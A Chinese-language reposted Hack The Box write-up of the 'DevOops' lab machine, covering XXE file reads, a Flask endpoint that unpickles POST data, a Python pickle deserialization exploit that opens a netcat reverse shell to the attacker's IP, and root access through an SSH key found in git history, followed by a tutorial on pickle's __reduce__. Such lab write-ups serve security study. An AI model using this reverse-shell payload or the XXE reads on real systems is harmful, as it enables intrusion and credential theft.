HTB-DevOops

这篇具有很好参考价值的文章主要介绍了HTB-DevOops。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

HTB-DevOops

信息收集

HTB-DevOops

HTB-DevOops

5000端口

根据文字所述,下面的图片是feed.py。
HTB-DevOops
目录扫描
HTB-DevOops
/upload如下:
HTB-DevOops
上传测试xml文件。
HTB-DevOops
得到反馈
HTB-DevOops
怀疑是标签不匹配,尝试寻找匹配的标签。前面首页有提示:XML elements: Author, Subject, Content
HTB-DevOops
构造XML如下:

<?xml version="1.0" encoding="UTF-8"?>
<channel>
<Author>Aster</Author>
<Subject>XEE TEST</Subject>
<Content>TEST :)</Content>
</channel>

HTB-DevOops
XEE利用,外部实体访问/etc/passwd。

HTB-DevOops

立足

python反序列化攻击

找找看feed.py在哪里,就在当前目录下。
HTB-DevOops

def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER,
                               filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']


## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)

有一个/newpost,并且功能是以POST请求访问/newpost,POST的data会被url解码,接着被反序列化。这里存在一个python的反序列化攻击。

import pickle
import requests
from base64 import urlsafe_b64encode 
import os

url = "http://10.10.10.91:5000/newpost"
ip = "10.10.14.31"
port = 443
payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %i >/tmp/f" %(ip,port)
print(payload)

class Poc(object):
    def __reduce__(self):
        return (os.system,(payload,))
postdata = urlsafe_b64encode(pickle.dumps(Poc()))
print("[*]Sending data:%s" % postdata)
res = requests.post(url,data=postdata)

HTB-DevOops
HTB-DevOops

XEE读取SSH

在前面读取/etc/passwd的基础上,进一步读取roosa用户的ssh id_rsa。
HTB-DevOops
git用户的读取失败。

HTB-DevOops
HTB-DevOops
roosa根目录存在gitconfig文件以及run-blogfeed.sh可执行文件run-blogfeed.sh的内容如下:
HTB-DevOops
知道了blogfeed的路径:/home/roosa/work/blogfeed/src,跟随来到目录。
HTB-DevOops

root

有.git文件,可能会涉及到git的回滚。使用git log查看commit history。
HTB-DevOops
使用git diff 1422e5a04d1b52a44e6dc81023420347e257ee5f在最早的commit发现了一个ssh的私钥。
HTB-DevOops
HTB-DevOops
可能是ssh的私钥错的,继续看commit,git diff d387abf63e05c9628a59195cec9311751bdb283f

HTB-DevOops

python反序列化

模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化

pickle模块中常用的四种方法:

四种方法 作用
pickle.dump(obj, file) 将序列化的结果保存在file中
pickle.load(file) 加载file中的内容并将其反序列化为对象
pickle.dumps(obj) 将对象序列化为字符串字节流
pickle.loads(bytes_obj) 把字符串字节流反序列化为对象

对象的序列化与反序列化例子:
HTB-DevOops

为什么是reduce来帮助反序列化执行代码?记得PHP反序列化中的魔术方法__wake()么。在pickle中的__reduce__魔法方法和wake类似,会在反序列化时自动触发。为什么是reduce?去看看官方文档怎么说。
HTB-DevOops
感受到了文字的魅力,看了像没看一样。其实很容易理解,官方文档将reduce分为了两种情况:

  • 返回字符串,该字符串会被当作一个本地模块,只不过这个模块名放在一个全局变量中。举个例子:有个老外在国外工作,他那边对他的职业描述是矩形立方体空间移动工程师(全局变量),他被派到国内来工作(本地),他发现他找不到矩形立方体空间移动工程师这个岗(模块本地名),于是他去公司职业一览图找(模块命名空间),结果发现了在国内叫搬砖(找到所属模块)。
  • 返回元组,元组应该有2到6个元素(tuple[1]~tuple[5]),前两个元素必须具备,后四个可选元素可空可省。重点来了,第一个元素是可调用对象,第二个是前面调用对象的参数。这两个就是执行命令的关键。举个例子我第一个元素是print,第二个元素aster,那么反序列化的时候会发生什么呢?
    HTB-DevOops

可能会很好奇,为什么这个元组看起来有点畸形,仔细看第二个元素类型也是元组。所以如果我们这样输入(“aster”),python会以为就是一个字符串aster,如果输入(“aster”,),python就会认为这是元组。

HTB-DevOops
这就解释了为什么一眼看过去很畸形的原因。好的,为什么在class加上object对象?来,让我们看看为什么。我们有如下代码,A类是没有加上object对象。
HTB-DevOops
而A类只有这三个对象可供选择。
HTB-DevOops
接下来看看继承object对象后的B呢。有没有看到reduce呢。
HTB-DevOops
由于版本的更新,后续高版本会自己添加object,为了兼容性还是要继承object。
HTB-DevOops
接着我们在反序列化的时候要调用计算器(calc.exe)该怎么做呢?
HTB-DevOops
HTB-DevOops
接着最后一个问题,为什么要加上import os?首先我能肯定的是你在构造Poc的时候不加你没办法使用os.system。其次,暂时没找到有关这方面的描述文档,所以只能猜测python会自动导入没有导入的库。
好了,python的反序列化简单介绍了一下,这有一篇阮行止大佬的非常好的文章,强烈建议看看。文章来源地址https://www.toymoban.com/news/detail-425541.html

到了这里,关于HTB-DevOops的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全-信息收集】网络安全之信息收集和信息收集工具讲解(提供工具)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 工具下载百度网盘链接(包含所有用到的工具): 百度网盘 请输入提取码 百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固,

    2024年02月08日
    浏览(50)
  • 网络安全信息收集初探之域名信息收集

    扫描单个域名 批量扫描域名 oneforall 额外参数 ![在这里插入图片描述](https://img-blog.csdnimg.cn/615763f979ea453091ad715f69980555.png https://crt.sh/ https://search.censys.io/

    2024年02月13日
    浏览(52)
  • 4.1 - 信息收集 - 子域名收集

    「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」: 对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 子域名就是下一级域

    2024年02月05日
    浏览(41)
  • 《渗透测试》-前期信息收集及工具介绍01(信息收集简介、JSFinder、OneForAll)

    信息收集是指通过各种方式获取所需要的信息,以便我们在后续的渗透过程更好的进 行。比如目标站点IP、中间件、脚本语言、端口、邮箱等等。信息收集包含资产收集 但不限于资产收集。 1、信息收集是渗透测试成功的保障 2、更多的暴露面 3、更大的可能性 1、主动信息收

    2024年02月03日
    浏览(52)
  • 内网安全 信息收集(收集内网计算机的所有信息 进行攻击.)

    在   渗透测试人员 进入一个内 网后,面对的是一片 “ 未知的区域 ”,所以 渗透测试人员首先会对当前所 处的网络环境进行判断,通常的判断分为三种. (1) 我是谁? —— 对计算机的角色进行判断. (2)我在哪? —— 对目前机器所处位置区域的判断。 (3)这是哪?

    2024年02月02日
    浏览(46)
  • 渗透测试之信息收集篇-服务器子域名收集

    你可能对某个服务器渗透失败,没有发现入侵点,所以我们可以考虑扩大攻击面,对target.com的子域名 进行渗透,然后横向移动。 使用bbot对目标子域进行收集 https://github.com/blacklanternsecurity/bbot/wiki#installation 关于子域名收集,推荐一篇很好的文章,文章地址:https://blog.blackl

    2024年02月16日
    浏览(35)
  • 一款强大的红队信息收集和资产收集工具(Kscan)

    Kscan是一款纯go开发的全方位扫描器,具备端口扫描、协议检测、指纹识别等功能。支持协议1200+,协议指纹10000+,应用指纹2000+,暴力PJ协议10余种。 Kscan能够接受多种输入格式,无需在使用之前对扫描对象进行分类,比如区分为IP,还是URL地址等,这对于使用者来说无疑是徒

    2023年04月08日
    浏览(40)
  • IP信息收集

    CDN 简介 CDN 的全称是 Content Delivery Network,即内容分发网络。CDN 是构建在现有网络其础之上的智能拟网络,依靠部需在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所孺内容,降低网络拥塞,提高用户访问响应速度和命中率。但

    2024年02月20日
    浏览(34)
  • 信息收集(C段扫描)

            1、收集C段内部属于目标的IP地址         2、内部服务只限IP访问,没有映射域名         3、更多的探测主机目标资产 1、Nmap         (1)作用:快速扫描大型网络;可以获得主机运行的端口,服务,系统指纹;提供上百个扩展脚本。         (

    2024年02月05日
    浏览(45)
  • 信息收集 - 网站服务器

    操作系统 区分大小写: 如果修改首页或其他页面的大小写后,网站返回一个错误页面,例如报错 \\\"404 Not Found\\\" 或类似的错误,这可能意味着网站运行在 Linux 或类 Unix 操作系统上。这是因为大多数 Linux 系统是区分大小写的 。 如果修改大小写后,网站页面正常显示,这可能意

    2024年02月21日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包